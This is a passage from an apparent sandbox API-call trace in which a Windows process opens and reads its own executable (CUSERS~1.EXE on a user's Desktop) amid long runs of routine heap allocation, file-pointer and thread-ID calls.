lpLocalFileTime=0x9b7fe8) returned 1 [0073.694] FileTimeToSystemTime (in: lpFileTime=0x9b7fe8, lpSystemTime=0x9b7fd8 | out: lpSystemTime=0x9b7fd8) returned 1 [0073.694] GetLastError () returned 0x0 [0073.694] GetCurrentThreadId () returned 0x9b0 [0073.694] GetLastError () returned 0x0 [0073.694] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0073.694] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0073.694] GetLastError () returned 0x0 [0073.694] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7371744, lpDistanceToMoveHigh=0x9b8058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b8058*=0) returned 0x707be0 [0073.694] GetLastError () returned 0x0 [0073.694] GetCurrentThreadId () returned 0x9b0 [0073.694] GetLastError () returned 0x0 [0073.694] GetCurrentThreadId () returned 0x9b0 [0073.694] GetLastError () returned 0x0 [0073.694] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=6888347, lpDistanceToMoveHigh=0x9b83f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b83f0*=0) returned 0x691b9b [0073.694] GetLastError () returned 0x0 [0073.694] GetCurrentThreadId () returned 0x9b0 [0073.694] GetLastError () returned 0x0 [0073.695] GetCurrentThreadId () returned 0x9b0 [0073.695] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x115e) returned 0x2ba9050 [0073.695] GetLastError () returned 0x0 [0073.695] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ba9064, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b83b8, lpOverlapped=0x0 | out: lpBuffer=0x2ba9064*, lpNumberOfBytesRead=0x9b83b8*=0x1000, lpOverlapped=0x0) returned 1 [0073.695] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2c22260 [0073.695] ReadFile (in: hFile=0x1e8, lpBuffer=0x2c22260, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b83a4, lpOverlapped=0x0 | out: lpBuffer=0x2c22260*, lpNumberOfBytesRead=0x9b83a4*=0x1000, lpOverlapped=0x0) returned 1 [0073.695] GetLastError () returned 0x0 [0073.695] GetCurrentThreadId () returned 0x9b0 [0073.696] GetLastError () returned 0x0 [0073.696] GetCurrentThreadId () returned 0x9b0 [0073.696] GetCurrentThreadId () returned 0x9b0 [0073.696] GetLastError () returned 0x0 [0073.696] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b707c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b707c*=0) returned 0x693b9b [0073.696] GetLastError () returned 0x0 [0073.696] GetCurrentThreadId () returned 0x9b0 [0073.696] GetLastError () returned 0x0 [0073.696] GetLastError () returned 0x0 [0073.696] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c22260 | out: hHeap=0x2ad0000) returned 1 [0073.696] CloseHandle (hObject=0x1e8) returned 1 [0073.696] GetLastError () returned 0x0 [0073.696] GetCurrentThreadId () returned 0x9b0 [0073.696] GetLastError () returned 0x0 [0073.696] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2c78d18 [0073.696] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2c7a8f0 [0073.696] GetLastError () returned 0x0 [0073.696] GetCurrentThreadId () returned 0x9b0 [0073.696] GetLastError () returned 0x0 [0073.696] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c78d18 | out: hHeap=0x2ad0000) returned 1 [0073.697] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c7a8f0, Size=0x2ab4) returned 0x2c7a8f0 [0073.697] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba9050 | out: hHeap=0x2ad0000) returned 1 [0073.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2f2) returned 0x2c2e150 [0073.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17af0 [0073.697] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c17af0, Size=0x20) returned 0x2a1fb00 [0073.697] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb00, Size=0x40) returned 0x2a19178 [0073.697] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19178, Size=0x64) returned 0x2a19b98 [0073.697] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19b98, Size=0x8c) returned 0x2ac0580 [0073.697] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0580, Size=0xb8) returned 0x2ac1c78 [0073.697] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1c78, Size=0xe8) returned 0x2ac2b60 [0073.697] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac2b60, Size=0x120) returned 0x2ba5c80 [0073.697] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba5c80, Size=0x160) returned 0x2c375c8 [0073.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x222) returned 0x2c78d18 [0073.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x35c) returned 0x2c78f48 [0073.697] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c375c8, Size=0x1a8) returned 0x2ac8d88 [0073.697] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac8d88, Size=0x1f8) returned 0x2c311d0 [0073.697] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c311d0, Size=0x250) returned 0x2ac4228 [0073.697] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac4228, Size=0x2b4) returned 0x2c2bc10 [0073.697] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c2bc10 | out: hHeap=0x2ad0000) returned 1 [0073.697] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7a8f0 | out: hHeap=0x2ad0000) returned 1 [0073.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8ae90 [0073.697] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae90 | out: hHeap=0x2ad0000) returned 1 [0073.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbcd98 [0073.697] GetCurrentThreadId () returned 0x9b0 [0073.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8650 [0073.697] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8650 | out: hHeap=0x2ad0000) returned 1 [0073.697] GetCurrentThreadId () returned 0x9b0 [0073.697] GetCurrentThreadId () returned 0x9b0 [0073.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7700 [0073.698] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7700 | out: hHeap=0x2ad0000) returned 1 [0073.698] GetCurrentThreadId () returned 0x9b0 [0073.698] GetCurrentThreadId () returned 0x9b0 [0073.698] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7818 [0073.698] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7818 | out: hHeap=0x2ad0000) returned 1 [0073.698] GetCurrentThreadId () returned 0x9b0 [0073.698] GetCurrentThreadId () returned 0x9b0 [0073.698] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8650 [0073.698] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8650 | out: hHeap=0x2ad0000) returned 1 [0073.698] GetCurrentThreadId () returned 0x9b0 [0073.698] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x38) returned 0x2a8a4a8 [0073.698] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x400) returned 0x2ba9050 [0073.698] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17b38 [0073.698] GetCurrentThreadId () returned 0x9b0 [0073.698] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c17b38, Size=0x20) returned 0x2a1f9c0 [0073.698] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f9c0, Size=0x40) returned 0x2a191c0 [0073.698] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a191c0, Size=0x64) returned 0x2a19738 [0073.698] GetCurrentThreadId () returned 0x9b0 [0073.698] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19738, Size=0x8c) returned 0x2ac0748 [0073.698] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0748, Size=0xb8) returned 0x2ac1af8 [0073.698] GetCurrentThreadId () returned 0x9b0 [0073.698] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1af8, Size=0xe8) returned 0x2ac2b60 [0073.698] GetCurrentThreadId () returned 0x9b0 [0073.698] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac2b60, Size=0x120) returned 0x2ba5340 [0073.698] GetCurrentThreadId () returned 0x9b0 [0073.698] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba5340, Size=0x160) returned 0x2c37460 [0073.698] GetCurrentThreadId () returned 0x9b0 [0073.698] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37460, Size=0x1a8) returned 0x2ac92b0 [0073.698] GetCurrentThreadId () returned 0x9b0 [0073.699] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac92b0, Size=0x1f8) returned 0x2c311d0 [0073.699] GetCurrentThreadId () returned 0x9b0 [0073.699] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c311d0, Size=0x250) returned 0x2ac3d58 [0073.699] GetCurrentThreadId () returned 0x9b0 [0073.699] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac3d58, Size=0x2b4) returned 0x2c2bc10 [0073.699] GetCurrentThreadId () returned 0x9b0 [0073.699] GetCurrentThreadId () returned 0x9b0 [0073.699] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2bc10, Size=0x324) returned 0x2bac648 [0073.699] GetCurrentThreadId () returned 0x9b0 [0073.699] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bac648, Size=0x3a4) returned 0x2ba9458 [0073.699] GetCurrentThreadId () returned 0x9b0 [0073.699] GetCurrentThreadId () returned 0x9b0 [0073.699] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba9458, Size=0x434) returned 0x2ba9458 [0073.699] GetCurrentThreadId () returned 0x9b0 [0073.699] GetCurrentThreadId () returned 0x9b0 [0073.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba9050 | out: hHeap=0x2ad0000) returned 1 [0073.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c146c0 [0073.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbcd98 | out: hHeap=0x2ad0000) returned 1 [0073.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x2c795e0 [0073.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x2ac0130 [0073.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a60 [0073.699] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c17a60, Size=0x20) returned 0x2a1fa10 [0073.699] GetCurrentThreadId () returned 0x9b0 [0073.699] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fa10, Size=0x40) returned 0x2a192e0 [0073.699] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a192e0, Size=0x64) returned 0x2a199d8 [0073.699] GetCurrentThreadId () returned 0x9b0 [0073.699] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a199d8, Size=0x8c) returned 0x2ac09a8 [0073.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0130 | out: hHeap=0x2ad0000) returned 1 [0073.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x2ac0130 [0073.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17988 [0073.700] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c17988, Size=0x20) returned 0x2a1f920 [0073.700] GetCurrentThreadId () returned 0x9b0 [0073.700] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f920, Size=0x40) returned 0x2a18ef0 [0073.700] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18ef0, Size=0x64) returned 0x2a19b98 [0073.700] GetCurrentThreadId () returned 0x9b0 [0073.700] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19b98, Size=0x8c) returned 0x2ac04e8 [0073.700] GetCurrentThreadId () returned 0x9b0 [0073.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0130 | out: hHeap=0x2ad0000) returned 1 [0073.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbcd98 [0073.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c0fe60 [0073.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbcd98 | out: hHeap=0x2ad0000) returned 1 [0073.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac04e8 | out: hHeap=0x2ad0000) returned 1 [0073.700] GetCurrentThreadId () returned 0x9b0 [0073.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c2e150 | out: hHeap=0x2ad0000) returned 1 [0073.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7070 | out: hHeap=0x2ad0000) returned 1 [0073.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba75e8 | out: hHeap=0x2ad0000) returned 1 [0073.700] GetCurrentThreadId () returned 0x9b0 [0073.700] GetCurrentThreadId () returned 0x9b0 [0073.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8ce0 [0073.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba75e8 [0073.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7930 [0073.700] GetCurrentThreadId () returned 0x9b0 [0073.700] GetCurrentThreadId () returned 0x9b0 [0073.700] GetCurrentThreadId () returned 0x9b0 [0073.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0073.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0073.701] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0073.701] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba3a50, Size=0x14) returned 0x2ba3a50 [0073.701] GetCurrentThreadId () returned 0x9b0 [0073.701] GetCurrentThreadId () returned 0x9b0 [0073.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0073.701] GetCurrentThreadId () returned 0x9b0 [0073.701] GetCurrentThreadId () returned 0x9b0 [0073.701] GetCurrentThreadId () returned 0x9b0 [0073.701] GetCurrentThreadId () returned 0x9b0 [0073.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7930 | out: hHeap=0x2ad0000) returned 1 [0073.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba75e8 | out: hHeap=0x2ad0000) returned 1 [0073.701] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8880 [0073.701] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7b60 [0073.701] GetCurrentThreadId () returned 0x9b0 [0073.701] GetCurrentThreadId () returned 0x9b0 [0073.701] GetCurrentThreadId () returned 0x9b0 [0073.701] GetCurrentThreadId () returned 0x9b0 [0073.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7b60 | out: hHeap=0x2ad0000) returned 1 [0073.701] GetCurrentThreadId () returned 0x9b0 [0073.701] GetCurrentThreadId () returned 0x9b0 [0073.701] GetLastError () returned 0x0 [0073.701] GetLastError () returned 0x0 [0073.701] GetLastError () returned 0x0 [0073.701] GetLastError () returned 0x0 [0073.701] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a20108 [0073.701] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c178b0 [0073.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c178b0 | out: hHeap=0x2ad0000) returned 1 [0073.701] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b000 [0073.701] GetLastError () returned 0x0 [0073.702] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b7f28, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.702] GetFileType (hFile=0x1e8) returned 0x1 [0073.702] GetLastError () returned 0x0 [0073.702] GetCurrentThreadId () returned 0x9b0 [0073.702] GetLastError () returned 0x0 [0073.702] GetFileType (hFile=0x1e8) returned 0x1 [0073.702] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9b7fa4 | out: lpFileInformation=0x9b7fa4) returned 1 [0073.702] FileTimeToLocalFileTime (in: lpFileTime=0x9b7fb8, lpLocalFileTime=0x9b7fe8 | out: lpLocalFileTime=0x9b7fe8) returned 1 [0073.702] FileTimeToSystemTime (in: lpFileTime=0x9b7fe8, lpSystemTime=0x9b7fd8 | out: lpSystemTime=0x9b7fd8) returned 1 [0073.702] FileTimeToLocalFileTime (in: lpFileTime=0x9b7fb0, lpLocalFileTime=0x9b7fe8 | out: lpLocalFileTime=0x9b7fe8) returned 1 [0073.702] FileTimeToSystemTime (in: lpFileTime=0x9b7fe8, lpSystemTime=0x9b7fd8 | out: lpSystemTime=0x9b7fd8) returned 1 [0073.702] FileTimeToLocalFileTime (in: lpFileTime=0x9b7fa8, lpLocalFileTime=0x9b7fe8 | out: lpLocalFileTime=0x9b7fe8) returned 1 [0073.702] FileTimeToSystemTime (in: lpFileTime=0x9b7fe8, lpSystemTime=0x9b7fd8 | out: lpSystemTime=0x9b7fd8) returned 1 [0073.702] GetLastError () returned 0x0 [0073.702] GetCurrentThreadId () returned 0x9b0 [0073.702] GetLastError () returned 0x0 [0073.702] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0073.702] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20108 | out: hHeap=0x2ad0000) returned 1 [0073.702] GetLastError () returned 0x0 [0073.702] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=6892772, lpDistanceToMoveHigh=0x9b8058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b8058*=0) returned 0x692ce4 [0073.702] GetLastError () returned 0x0 [0073.702] GetCurrentThreadId () returned 0x9b0 [0073.702] GetLastError () returned 0x0 [0073.703] GetCurrentThreadId () returned 0x9b0 [0073.703] GetLastError () returned 0x0 [0073.703] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8291592, lpDistanceToMoveHigh=0x9b83f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b83f0*=0) returned 0x7e8508 [0073.703] GetLastError () returned 0x0 [0073.703] GetCurrentThreadId () returned 0x9b0 [0073.703] GetLastError () returned 0x0 [0073.703] GetCurrentThreadId () returned 0x9b0 [0073.703] GetCurrentThreadId () returned 0x9b0 [0073.703] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2846) returned 0x2c7b2b8 [0073.703] GetLastError () returned 0x0 [0073.703] ReadFile (in: hFile=0x1e8, lpBuffer=0x2c7b2cc, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x9b83b8, lpOverlapped=0x0 | out: lpBuffer=0x2c7b2cc*, lpNumberOfBytesRead=0x9b83b8*=0x2000, lpOverlapped=0x0) returned 1 [0073.703] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2c1c230 [0073.703] ReadFile (in: hFile=0x1e8, lpBuffer=0x2c1c230, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b83a4, lpOverlapped=0x0 | out: lpBuffer=0x2c1c230*, lpNumberOfBytesRead=0x9b83a4*=0x1000, lpOverlapped=0x0) returned 1 [0073.703] GetLastError () returned 0x0 [0073.703] GetCurrentThreadId () returned 0x9b0 [0073.703] GetLastError () returned 0x0 [0073.703] GetCurrentThreadId () returned 0x9b0 [0073.703] GetLastError () returned 0x0 [0073.703] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b707c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b707c*=0) returned 0x7eb508 [0073.703] GetLastError () returned 0x0 [0073.703] GetCurrentThreadId () returned 0x9b0 [0073.703] GetLastError () returned 0x0 [0073.704] GetLastError () returned 0x0 [0073.704] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c1c230 | out: hHeap=0x2ad0000) returned 1 [0073.704] CloseHandle (hObject=0x1e8) returned 1 [0073.704] GetLastError () returned 0x0 [0073.704] GetCurrentThreadId () returned 0x9b0 [0073.704] GetLastError () returned 0x0 [0073.704] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2c7db08 [0073.704] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2c7f6e0 [0073.704] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8000) returned 0x2bbdc70 [0073.704] GetLastError () returned 0x0 [0073.704] GetCurrentThreadId () returned 0x9b0 [0073.704] GetLastError () returned 0x0 [0073.704] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c7f6e0, Size=0x8015) returned 0x2c83700 [0073.706] GetLastError () returned 0x0 [0073.706] GetCurrentThreadId () returned 0x9b0 [0073.706] GetLastError () returned 0x0 [0073.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbdc70 | out: hHeap=0x2ad0000) returned 1 [0073.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7db08 | out: hHeap=0x2ad0000) returned 1 [0073.706] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c83700, Size=0x60f0) returned 0x2c83700 [0073.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7b2b8 | out: hHeap=0x2ad0000) returned 1 [0073.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2b8) returned 0x2c2c468 [0073.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x465) returned 0x2ba9898 [0073.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17af0 [0073.706] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c17af0, Size=0x20) returned 0x2a1fb00 [0073.706] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb00, Size=0x40) returned 0x2a193b8 [0073.706] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a193b8, Size=0x64) returned 0x2a19b28 [0073.706] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19b28, Size=0x8c) returned 0x2ac0a40 [0073.706] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0a40, Size=0xb8) returned 0x2ac1f78 [0073.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2e3) returned 0x2ba9050 [0073.706] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1f78, Size=0xe8) returned 0x2ac2b60 [0073.706] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac2b60, Size=0x120) returned 0x2ba5468 [0073.707] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba5468, Size=0x160) returned 0x2c37a00 [0073.707] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37a00, Size=0x1a8) returned 0x2ac9990 [0073.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x34d) returned 0x2c2e150 [0073.707] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9990, Size=0x1f8) returned 0x2c30190 [0073.707] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c30190, Size=0x250) returned 0x2ac4e30 [0073.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x21f) returned 0x2ba9d08 [0073.707] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac4e30, Size=0x2b4) returned 0x2c2b680 [0073.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x211) returned 0x2ba9f30 [0073.707] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2b680, Size=0x324) returned 0x2bab928 [0073.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3e8) returned 0x2baa150 [0073.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bab928 | out: hHeap=0x2ad0000) returned 1 [0073.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c83700 | out: hHeap=0x2ad0000) returned 1 [0073.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af20 [0073.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af20 | out: hHeap=0x2ad0000) returned 1 [0073.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbcd98 [0073.707] GetCurrentThreadId () returned 0x9b0 [0073.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7a48 [0073.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7a48 | out: hHeap=0x2ad0000) returned 1 [0073.708] GetCurrentThreadId () returned 0x9b0 [0073.708] GetCurrentThreadId () returned 0x9b0 [0073.708] GetCurrentThreadId () returned 0x9b0 [0073.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8650 [0073.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8650 | out: hHeap=0x2ad0000) returned 1 [0073.708] GetCurrentThreadId () returned 0x9b0 [0073.708] GetCurrentThreadId () returned 0x9b0 [0073.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8650 [0073.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8650 | out: hHeap=0x2ad0000) returned 1 [0073.708] GetCurrentThreadId () returned 0x9b0 [0073.708] GetCurrentThreadId () returned 0x9b0 [0073.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7818 [0073.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7188 [0073.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8538 [0073.708] GetCurrentThreadId () returned 0x9b0 [0073.708] GetCurrentThreadId () returned 0x9b0 [0073.708] HeapFree (in: 